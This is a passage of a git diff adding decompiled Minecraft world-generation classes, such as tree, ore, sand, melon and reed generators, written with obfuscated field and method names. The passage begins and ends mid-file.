+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenLiquids extends WorldGenerator
+{
+  private Block field_150521_a;
+  private static final String __OBFID = "CL_00000434";
+  
+  public WorldGenLiquids(Block p_i45465_1_)
+  {
+    field_150521_a = p_i45465_1_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if (worldIn.getBlockState(p_180709_3_.offsetUp()).getBlock() != Blocks.stone)
+    {
+      return false;
+    }
+    if (worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock() != Blocks.stone)
+    {
+      return false;
+    }
+    if ((worldIn.getBlockState(p_180709_3_).getBlock().getMaterial() != net.minecraft.block.material.Material.air) && (worldIn.getBlockState(p_180709_3_).getBlock() != Blocks.stone))
+    {
+      return false;
+    }
+    
+
+    int var4 = 0;
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetWest()).getBlock() == Blocks.stone)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetEast()).getBlock() == Blocks.stone)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetNorth()).getBlock() == Blocks.stone)
+    {
+      var4++;
+    }
+    
+    if (worldIn.getBlockState(p_180709_3_.offsetSouth()).getBlock() == Blocks.stone)
+    {
+      var4++;
+    }
+    
+    int var5 = 0;
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetWest()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetEast()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetNorth()))
+    {
+      var5++;
+    }
+    
+    if (worldIn.isAirBlock(p_180709_3_.offsetSouth()))
+    {
+      var5++;
+    }
+    
+    if ((var4 == 3) && (var5 == 1))
+    {
+      worldIn.setBlockState(p_180709_3_, field_150521_a.getDefaultState(), 2);
+      worldIn.func_175637_a(field_150521_a, p_180709_3_, p_180709_2_);
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenMegaJungle.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMegaJungle.java
new file mode 100644
index 0000000..b674c48
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMegaJungle.java
@@ -0,0 +1,140 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.BlockVine;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class WorldGenMegaJungle extends WorldGenHugeTrees
+{
+  private static final String __OBFID = "CL_00000420";
+  
+  public WorldGenMegaJungle(boolean p_i45456_1_, int p_i45456_2_, int p_i45456_3_, int p_i45456_4_, int p_i45456_5_)
+  {
+    super(p_i45456_1_, p_i45456_2_, p_i45456_3_, p_i45456_4_, p_i45456_5_);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = func_150533_a(p_180709_2_);
+    
+    if (!func_175929_a(worldIn, p_180709_2_, p_180709_3_, var4))
+    {
+      return false;
+    }
+    
+
+    func_175930_c(worldIn, p_180709_3_.offsetUp(var4), 2);
+    
+    for (int var5 = p_180709_3_.getY() + var4 - 2 - p_180709_2_.nextInt(4); var5 > p_180709_3_.getY() + var4 / 2; var5 -= 2 + p_180709_2_.nextInt(4))
+    {
+      float var6 = p_180709_2_.nextFloat() * 3.1415927F * 2.0F;
+      int var7 = p_180709_3_.getX() + (int)(0.5F + MathHelper.cos(var6) * 4.0F);
+      int var8 = p_180709_3_.getZ() + (int)(0.5F + MathHelper.sin(var6) * 4.0F);
+      
+
+      for (int var9 = 0; var9 < 5; var9++)
+      {
+        var7 = p_180709_3_.getX() + (int)(1.5F + MathHelper.cos(var6) * var9);
+        var8 = p_180709_3_.getZ() + (int)(1.5F + MathHelper.sin(var6) * var9);
+        func_175905_a(worldIn, new BlockPos(var7, var5 - 3 + var9 / 2, var8), Blocks.log, woodMetadata);
+      }
+      
+      var9 = 1 + p_180709_2_.nextInt(2);
+      int var10 = var5;
+      
+      for (int var11 = var5 - var9; var11 <= var10; var11++)
+      {
+        int var12 = var11 - var10;
+        func_175928_b(worldIn, new BlockPos(var7, var11, var8), 1 - var12);
+      }
+    }
+    
+    for (int var13 = 0; var13 < var4; var13++)
+    {
+      BlockPos var14 = p_180709_3_.offsetUp(var13);
+      
+      if (func_175931_a(worldIn.getBlockState(var14).getBlock().getMaterial()))
+      {
+        func_175905_a(worldIn, var14, Blocks.log, woodMetadata);
+        
+        if (var13 > 0)
+        {
+          func_175932_b(worldIn, p_180709_2_, var14.offsetWest(), BlockVine.field_176275_S);
+          func_175932_b(worldIn, p_180709_2_, var14.offsetNorth(), BlockVine.field_176272_Q);
+        }
+      }
+      
+      if (var13 < var4 - 1)
+      {
+        BlockPos var15 = var14.offsetEast();
+        
+        if (func_175931_a(worldIn.getBlockState(var15).getBlock().getMaterial()))
+        {
+          func_175905_a(worldIn, var15, Blocks.log, woodMetadata);
+          
+          if (var13 > 0)
+          {
+            func_175932_b(worldIn, p_180709_2_, var15.offsetEast(), BlockVine.field_176271_T);
+            func_175932_b(worldIn, p_180709_2_, var15.offsetNorth(), BlockVine.field_176272_Q);
+          }
+        }
+        
+        BlockPos var16 = var14.offsetSouth().offsetEast();
+        
+        if (func_175931_a(worldIn.getBlockState(var16).getBlock().getMaterial()))
+        {
+          func_175905_a(worldIn, var16, Blocks.log, woodMetadata);
+          
+          if (var13 > 0)
+          {
+            func_175932_b(worldIn, p_180709_2_, var16.offsetEast(), BlockVine.field_176271_T);
+            func_175932_b(worldIn, p_180709_2_, var16.offsetSouth(), BlockVine.field_176276_R);
+          }
+        }
+        
+        BlockPos var17 = var14.offsetSouth();
+        
+        if (func_175931_a(worldIn.getBlockState(var17).getBlock().getMaterial()))
+        {
+          func_175905_a(worldIn, var17, Blocks.log, woodMetadata);
+          
+          if (var13 > 0)
+          {
+            func_175932_b(worldIn, p_180709_2_, var17.offsetWest(), BlockVine.field_176275_S);
+            func_175932_b(worldIn, p_180709_2_, var17.offsetSouth(), BlockVine.field_176276_R);
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private boolean func_175931_a(net.minecraft.block.material.Material p_175931_1_)
+  {
+    return (p_175931_1_ == net.minecraft.block.material.Material.air) || (p_175931_1_ == net.minecraft.block.material.Material.leaves);
+  }
+  
+  private void func_175932_b(World worldIn, Random p_175932_2_, BlockPos p_175932_3_, int p_175932_4_)
+  {
+    if ((p_175932_2_.nextInt(3) > 0) && (worldIn.isAirBlock(p_175932_3_)))
+    {
+      func_175905_a(worldIn, p_175932_3_, Blocks.vine, p_175932_4_);
+    }
+  }
+  
+  private void func_175930_c(World worldIn, BlockPos p_175930_2_, int p_175930_3_)
+  {
+    byte var4 = 2;
+    
+    for (int var5 = -var4; var5 <= 0; var5++)
+    {
+      func_175925_a(worldIn, p_175930_2_.offsetUp(var5), p_175930_3_ + 1 - var5);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenMegaPineTree.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMegaPineTree.java
new file mode 100644
index 0000000..915b3fc
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMegaPineTree.java
@@ -0,0 +1,141 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDirt.DirtType;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenMegaPineTree extends WorldGenHugeTrees
+{
+  private boolean field_150542_e;
+  private static final String __OBFID = "CL_00000421";
+  
+  public WorldGenMegaPineTree(boolean p_i45457_1_, boolean p_i45457_2_)
+  {
+    super(p_i45457_1_, 13, 15, BlockPlanks.EnumType.SPRUCE.func_176839_a(), BlockPlanks.EnumType.SPRUCE.func_176839_a());
+    field_150542_e = p_i45457_2_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = func_150533_a(p_180709_2_);
+    
+    if (!func_175929_a(worldIn, p_180709_2_, p_180709_3_, var4))
+    {
+      return false;
+    }
+    
+
+    func_150541_c(worldIn, p_180709_3_.getX(), p_180709_3_.getZ(), p_180709_3_.getY() + var4, 0, p_180709_2_);
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      Block var6 = worldIn.getBlockState(p_180709_3_.offsetUp(var5)).getBlock();
+      
+      if ((var6.getMaterial() == Material.air) || (var6.getMaterial() == Material.leaves))
+      {
+        func_175905_a(worldIn, p_180709_3_.offsetUp(var5), Blocks.log, woodMetadata);
+      }
+      
+      if (var5 < var4 - 1)
+      {
+        var6 = worldIn.getBlockState(p_180709_3_.add(1, var5, 0)).getBlock();
+        
+        if ((var6.getMaterial() == Material.air) || (var6.getMaterial() == Material.leaves))
+        {
+          func_175905_a(worldIn, p_180709_3_.add(1, var5, 0), Blocks.log, woodMetadata);
+        }
+        
+        var6 = worldIn.getBlockState(p_180709_3_.add(1, var5, 1)).getBlock();
+        
+        if ((var6.getMaterial() == Material.air) || (var6.getMaterial() == Material.leaves))
+        {
+          func_175905_a(worldIn, p_180709_3_.add(1, var5, 1), Blocks.log, woodMetadata);
+        }
+        
+        var6 = worldIn.getBlockState(p_180709_3_.add(0, var5, 1)).getBlock();
+        
+        if ((var6.getMaterial() == Material.air) || (var6.getMaterial() == Material.leaves))
+        {
+          func_175905_a(worldIn, p_180709_3_.add(0, var5, 1), Blocks.log, woodMetadata);
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private void func_150541_c(World worldIn, int p_150541_2_, int p_150541_3_, int p_150541_4_, int p_150541_5_, Random p_150541_6_)
+  {
+    int var7 = p_150541_6_.nextInt(5) + (field_150542_e ? baseHeight : 3);
+    int var8 = 0;
+    
+    for (int var9 = p_150541_4_ - var7; var9 <= p_150541_4_; var9++)
+    {
+      int var10 = p_150541_4_ - var9;
+      int var11 = p_150541_5_ + net.minecraft.util.MathHelper.floor_float(var10 / var7 * 3.5F);
+      func_175925_a(worldIn, new BlockPos(p_150541_2_, var9, p_150541_3_), var11 + ((var10 > 0) && (var11 == var8) && ((var9 & 0x1) == 0) ? 1 : 0));
+      var8 = var11;
+    }
+  }
+  
+  public void func_180711_a(World worldIn, Random p_180711_2_, BlockPos p_180711_3_)
+  {
+    func_175933_b(worldIn, p_180711_3_.offsetWest().offsetNorth());
+    func_175933_b(worldIn, p_180711_3_.offsetEast(2).offsetNorth());
+    func_175933_b(worldIn, p_180711_3_.offsetWest().offsetSouth(2));
+    func_175933_b(worldIn, p_180711_3_.offsetEast(2).offsetSouth(2));
+    
+    for (int var4 = 0; var4 < 5; var4++)
+    {
+      int var5 = p_180711_2_.nextInt(64);
+      int var6 = var5 % 8;
+      int var7 = var5 / 8;
+      
+      if ((var6 == 0) || (var6 == 7) || (var7 == 0) || (var7 == 7))
+      {
+        func_175933_b(worldIn, p_180711_3_.add(-3 + var6, 0, -3 + var7));
+      }
+    }
+  }
+  
+  private void func_175933_b(World worldIn, BlockPos p_175933_2_)
+  {
+    for (int var3 = -2; var3 <= 2; var3++)
+    {
+      for (int var4 = -2; var4 <= 2; var4++)
+      {
+        if ((Math.abs(var3) != 2) || (Math.abs(var4) != 2))
+        {
+          func_175934_c(worldIn, p_175933_2_.add(var3, 0, var4));
+        }
+      }
+    }
+  }
+  
+  private void func_175934_c(World worldIn, BlockPos p_175934_2_)
+  {
+    for (int var3 = 2; var3 >= -3; var3--)
+    {
+      BlockPos var4 = p_175934_2_.offsetUp(var3);
+      Block var5 = worldIn.getBlockState(var4).getBlock();
+      
+      if ((var5 == Blocks.grass) || (var5 == Blocks.dirt))
+      {
+        func_175905_a(worldIn, var4, Blocks.dirt, BlockDirt.DirtType.PODZOL.getMetadata());
+      }
+      else
+      {
+        if ((var5.getMaterial() != Material.air) && (var3 < 0)) {
+          break;
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenMelon.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMelon.java
new file mode 100644
index 0000000..ceb4616
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMelon.java
@@ -0,0 +1,26 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+
+public class WorldGenMelon extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000424";
+  
+  public WorldGenMelon() {}
+  
+  public boolean generate(net.minecraft.world.World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 64; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((net.minecraft.init.Blocks.melon_block.canPlaceBlockAt(worldIn, var5)) && (worldIn.getBlockState(var5.offsetDown()).getBlock() == net.minecraft.init.Blocks.grass))
+      {
+        worldIn.setBlockState(var5, net.minecraft.init.Blocks.melon_block.getDefaultState(), 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenMinable.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMinable.java
new file mode 100644
index 0000000..46d61cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenMinable.java
@@ -0,0 +1,93 @@
+package net.minecraft.world.gen.feature;
+
+import com.google.common.base.Predicate;
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.block.state.pattern.BlockHelper;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+public class WorldGenMinable
+  extends WorldGenerator
+{
+  private final IBlockState oreBlock;
+  private final int numberOfBlocks;
+  private final Predicate field_175919_c;
+  private static final String __OBFID = "CL_00000426";
+  
+  public WorldGenMinable(IBlockState p_i45630_1_, int p_i45630_2_)
+  {
+    this(p_i45630_1_, p_i45630_2_, BlockHelper.forBlock(Blocks.stone));
+  }
+  
+  public WorldGenMinable(IBlockState p_i45631_1_, int p_i45631_2_, Predicate p_i45631_3_)
+  {
+    oreBlock = p_i45631_1_;
+    numberOfBlocks = p_i45631_2_;
+    field_175919_c = p_i45631_3_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    float var4 = p_180709_2_.nextFloat() * 3.1415927F;
+    double var5 = p_180709_3_.getX() + 8 + MathHelper.sin(var4) * numberOfBlocks / 8.0F;
+    double var7 = p_180709_3_.getX() + 8 - MathHelper.sin(var4) * numberOfBlocks / 8.0F;
+    double var9 = p_180709_3_.getZ() + 8 + MathHelper.cos(var4) * numberOfBlocks / 8.0F;
+    double var11 = p_180709_3_.getZ() + 8 - MathHelper.cos(var4) * numberOfBlocks / 8.0F;
+    double var13 = p_180709_3_.getY() + p_180709_2_.nextInt(3) - 2;
+    double var15 = p_180709_3_.getY() + p_180709_2_.nextInt(3) - 2;
+    
+    for (int var17 = 0; var17 < numberOfBlocks; var17++)
+    {
+      float var18 = var17 / numberOfBlocks;
+      double var19 = var5 + (var7 - var5) * var18;
+      double var21 = var13 + (var15 - var13) * var18;
+      double var23 = var9 + (var11 - var9) * var18;
+      double var25 = p_180709_2_.nextDouble() * numberOfBlocks / 16.0D;
+      double var27 = (MathHelper.sin(3.1415927F * var18) + 1.0F) * var25 + 1.0D;
+      double var29 = (MathHelper.sin(3.1415927F * var18) + 1.0F) * var25 + 1.0D;
+      int var31 = MathHelper.floor_double(var19 - var27 / 2.0D);
+      int var32 = MathHelper.floor_double(var21 - var29 / 2.0D);
+      int var33 = MathHelper.floor_double(var23 - var27 / 2.0D);
+      int var34 = MathHelper.floor_double(var19 + var27 / 2.0D);
+      int var35 = MathHelper.floor_double(var21 + var29 / 2.0D);
+      int var36 = MathHelper.floor_double(var23 + var27 / 2.0D);
+      
+      for (int var37 = var31; var37 <= var34; var37++)
+      {
+        double var38 = (var37 + 0.5D - var19) / (var27 / 2.0D);
+        
+        if (var38 * var38 < 1.0D)
+        {
+          for (int var40 = var32; var40 <= var35; var40++)
+          {
+            double var41 = (var40 + 0.5D - var21) / (var29 / 2.0D);
+            
+            if (var38 * var38 + var41 * var41 < 1.0D)
+            {
+              for (int var43 = var33; var43 <= var36; var43++)
+              {
+                double var44 = (var43 + 0.5D - var23) / (var27 / 2.0D);
+                
+                if (var38 * var38 + var41 * var41 + var44 * var44 < 1.0D)
+                {
+                  BlockPos var46 = new BlockPos(var37, var40, var43);
+                  
+                  if (field_175919_c.apply(worldIn.getBlockState(var46)))
+                  {
+                    worldIn.setBlockState(var46, oreBlock, 2);
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenPumpkin.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenPumpkin.java
new file mode 100644
index 0000000..0968501
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenPumpkin.java
@@ -0,0 +1,28 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenPumpkin extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000428";
+  
+  public WorldGenPumpkin() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 64; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8), p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), p_180709_2_.nextInt(8) - p_180709_2_.nextInt(8));
+      
+      if ((worldIn.isAirBlock(var5)) && (worldIn.getBlockState(var5.offsetDown()).getBlock() == Blocks.grass) && (Blocks.pumpkin.canPlaceBlockAt(worldIn, var5)))
+      {
+        worldIn.setBlockState(var5, Blocks.pumpkin.getDefaultState().withProperty(net.minecraft.block.BlockPumpkin.AGE, net.minecraft.util.EnumFacing.Plane.HORIZONTAL.random(p_180709_2_)), 2);
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenReed.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenReed.java
new file mode 100644
index 0000000..182386e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenReed.java
@@ -0,0 +1,40 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenReed extends WorldGenerator
+{
+  private static final String __OBFID = "CL_00000429";
+  
+  public WorldGenReed() {}
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    for (int var4 = 0; var4 < 20; var4++)
+    {
+      BlockPos var5 = p_180709_3_.add(p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4), 0, p_180709_2_.nextInt(4) - p_180709_2_.nextInt(4));
+      
+      if (worldIn.isAirBlock(var5))
+      {
+        BlockPos var6 = var5.offsetDown();
+        
+        if ((worldIn.getBlockState(var6.offsetWest()).getBlock().getMaterial() == net.minecraft.block.material.Material.water) || (worldIn.getBlockState(var6.offsetEast()).getBlock().getMaterial() == net.minecraft.block.material.Material.water) || (worldIn.getBlockState(var6.offsetNorth()).getBlock().getMaterial() == net.minecraft.block.material.Material.water) || (worldIn.getBlockState(var6.offsetSouth()).getBlock().getMaterial() == net.minecraft.block.material.Material.water))
+        {
+          int var7 = 2 + p_180709_2_.nextInt(p_180709_2_.nextInt(3) + 1);
+          
+          for (int var8 = 0; var8 < var7; var8++)
+          {
+            if (net.minecraft.init.Blocks.reeds.func_176354_d(worldIn, var5))
+            {
+              worldIn.setBlockState(var5.offsetUp(var8), net.minecraft.init.Blocks.reeds.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenSand.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSand.java
new file mode 100644
index 0000000..f9bb07f
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSand.java
@@ -0,0 +1,60 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenSand
+  extends WorldGenerator
+{
+  private Block field_150517_a;
+  private int radius;
+  private static final String __OBFID = "CL_00000431";
+  
+  public WorldGenSand(Block p_i45462_1_, int p_i45462_2_)
+  {
+    field_150517_a = p_i45462_1_;
+    radius = p_i45462_2_;
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    if (worldIn.getBlockState(p_180709_3_).getBlock().getMaterial() != Material.water)
+    {
+      return false;
+    }
+    
+
+    int var4 = p_180709_2_.nextInt(radius - 2) + 2;
+    byte var5 = 2;
+    
+    for (int var6 = p_180709_3_.getX() - var4; var6 <= p_180709_3_.getX() + var4; var6++)
+    {
+      for (int var7 = p_180709_3_.getZ() - var4; var7 <= p_180709_3_.getZ() + var4; var7++)
+      {
+        int var8 = var6 - p_180709_3_.getX();
+        int var9 = var7 - p_180709_3_.getZ();
+        
+        if (var8 * var8 + var9 * var9 <= var4 * var4)
+        {
+          for (int var10 = p_180709_3_.getY() - var5; var10 <= p_180709_3_.getY() + var5; var10++)
+          {
+            BlockPos var11 = new BlockPos(var6, var10, var7);
+            Block var12 = worldIn.getBlockState(var11).getBlock();
+            
+            if ((var12 == Blocks.dirt) || (var12 == Blocks.grass))
+            {
+              worldIn.setBlockState(var11, field_150517_a.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenSavannaTree.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSavannaTree.java
new file mode 100644
index 0000000..3b2a6cb
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenSavannaTree.java
@@ -0,0 +1,214 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.world.World;
+
+public class WorldGenSavannaTree extends WorldGenAbstractTree
+{
+  private static final String __OBFID = "CL_00000432";
+  
+  public WorldGenSavannaTree(boolean p_i45463_1_)
+  {
+    super(p_i45463_1_);
+  }
+  
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    int var4 = p_180709_2_.nextInt(3) + p_180709_2_.nextInt(3) + 5;
+    boolean var5 = true;
+    
+    if ((p_180709_3_.getY() >= 1) && (p_180709_3_.getY() + var4 + 1 <= 256))
+    {
+
+
+
+      for (int var6 = p_180709_3_.getY(); var6 <= p_180709_3_.getY() + 1 + var4; var6++)
+      {
+        byte var7 = 1;
+        
+        if (var6 == p_180709_3_.getY())
+        {
+          var7 = 0;
+        }
+        
+        if (var6 >= p_180709_3_.getY() + 1 + var4 - 2)
+        {
+          var7 = 2;
+        }
+        
+        for (int var8 = p_180709_3_.getX() - var7; (var8 <= p_180709_3_.getX() + var7) && (var5); var8++)
+        {
+          for (int var9 = p_180709_3_.getZ() - var7; (var9 <= p_180709_3_.getZ() + var7) && (var5); var9++)
+          {
+            if ((var6 >= 0) && (var6 < 256))
+            {
+              if (!func_150523_a(worldIn.getBlockState(new BlockPos(var8, var6, var9)).getBlock()))
+              {
+                var5 = false;
+              }
+              
+            }
+            else {
+              var5 = false;
+            }
+          }
+        }
+      }
+      
+      if (!var5)
+      {
+        return false;
+      }
+      
+
+      net.minecraft.block.Block var20 = worldIn.getBlockState(p_180709_3_.offsetDown()).getBlock();
+      
+      if (((var20 == Blocks.grass) || (var20 == Blocks.dirt)) && (p_180709_3_.getY() < 256 - var4 - 1))
+      {
+        func_175921_a(worldIn, p_180709_3_.offsetDown());
+        EnumFacing var21 = EnumFacing.Plane.HORIZONTAL.random(p_180709_2_);
+        int var8 = var4 - p_180709_2_.nextInt(4) - 1;
+        int var9 = 3 - p_180709_2_.nextInt(3);
+        int var10 = p_180709_3_.getX();
+        int var11 = p_180709_3_.getZ();
+        int var12 = 0;
+        
+
+        for (int var13 = 0; var13 < var4; var13++)
+        {
+          int var14 = p_180709_3_.getY() + var13;
+          
+          if ((var13 >= var8) && (var9 > 0))
+          {
+            var10 += var21.getFrontOffsetX();
+            var11 += var21.getFrontOffsetZ();
+            var9--;
+          }
+          
+          BlockPos var15 = new BlockPos(var10, var14, var11);
+          Material var16 = worldIn.getBlockState(var15).getBlock().getMaterial();
+          
+          if ((var16 == Material.air) || (var16 == Material.leaves))
+          {
+            func_175905_a(worldIn, var15, Blocks.log2, net.minecraft.block.BlockPlanks.EnumType.ACACIA.func_176839_a() - 4);
+            var12 = var14;
+          }
+        }
+        
+        BlockPos var22 = new BlockPos(var10, var12, var11);
+        
+
+        for (int var14 = -3; var14 <= 3; var14++)
+        {
+          for (int var24 = -3; var24 <= 3; var24++)
+          {
+            if ((Math.abs(var14) != 3) || (Math.abs(var24) != 3))
+            {
+              func_175924_b(worldIn, var22.add(var14, 0, var24));
+            }
+          }
+        }
+        
+        var22 = var22.offsetUp();
+        
+        for (var14 = -1; var14 <= 1; var14++)
+        {
+          for (int var24 = -1; var24 <= 1; var24++)
+          {
+            func_175924_b(worldIn, var22.add(var14, 0, var24));
+          }
+        }
+        
+        func_175924_b(worldIn, var22.offsetEast(2));
+        func_175924_b(worldIn, var22.offsetWest(2));
+        func_175924_b(worldIn, var22.offsetSouth(2));
+        func_175924_b(worldIn, var22.offsetNorth(2));
+        var10 = p_180709_3_.getX();
+        var11 = p_180709_3_.getZ();
+        EnumFacing var23 = EnumFacing.Plane.HORIZONTAL.random(p_180709_2_);
+        
+        if (var23 != var21)
+        {
+          var14 = var8 - p_180709_2_.nextInt(2) - 1;
+          int var24 = 1 + p_180709_2_.nextInt(3);
+          var12 = 0;
+          
+
+          for (int var25 = var14; (var25 < var4) && (var24 > 0); var24--)
+          {
+            if (var25 >= 1)
+            {
+              int var17 = p_180709_3_.getY() + var25;
+              var10 += var23.getFrontOffsetX();
+              var11 += var23.getFrontOffsetZ();
+              BlockPos var18 = new BlockPos(var10, var17, var11);
+              Material var19 = worldIn.getBlockState(var18).getBlock().getMaterial();
+              
+              if ((var19 == Material.air) || (var19 == Material.leaves))
+              {
+                func_175905_a(worldIn, var18, Blocks.log2, net.minecraft.block.BlockPlanks.EnumType.ACACIA.func_176839_a() - 4);
+                var12 = var17;
+              }
+            }
+            
+            var25++;
+          }
+          
+          if (var12 > 0)
+          {
+            BlockPos var26 = new BlockPos(var10, var12, var11);
+            
+
+            for (int var17 = -2; var17 <= 2; var17++)
+            {
+              for (int var27 = -2; var27 <= 2; var27++)
+              {
+                if ((Math.abs(var17) != 2) || (Math.abs(var27) != 2))
+                {
+                  func_175924_b(worldIn, var26.add(var17, 0, var27));
+                }
+              }
+            }
+            
+            var26 = var26.offsetUp();
+            
+            for (var17 = -1; var17 <= 1; var17++)
+            {
+              for (int var27 = -1; var27 <= 1; var27++)
+              {
+                func_175924_b(worldIn, var26.add(var17, 0, var27));
+              }
+            }
+          }
+        }
+        
+        return true;
+      }
+      
+
+      return false;
+    }
+    
+
+
+
+    return false;
+  }
+  
+
+  private void func_175924_b(World worldIn, BlockPos p_175924_2_)
+  {
+    Material var3 = worldIn.getBlockState(p_175924_2_).getBlock().getMaterial();
+    
+    if ((var3 == Material.air) || (var3 == Material.leaves))
+    {
+      func_175905_a(worldIn, p_175924_2_, Blocks.leaves2, 0);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/feature/WorldGenShrub.java b/src/minecraft/net/minecraft/world/gen/feature/WorldGenShrub.java
new file mode 100644
index 0000000..94de40b
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/feature/WorldGenShrub.java
@@ -0,0 +1,68 @@
+package net.minecraft.world.gen.feature;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class WorldGenShrub extends WorldGenTrees
+{
+  private int field_150528_a;
+  private int field_150527_b;
+  private static final String __OBFID = "CL_00000411";
+  
+  public WorldGenShrub(int p_i2015_1_, int p_i2015_2_)
+  {
+    super(false);
+    field_150527_b = p_i2015_1_;
+    field_150528_a = p_i2015_2_;
+  }
+  
+
+  public boolean generate(World worldIn, Random p_180709_2_, BlockPos p_180709_3_)
+  {
+    Block var4;
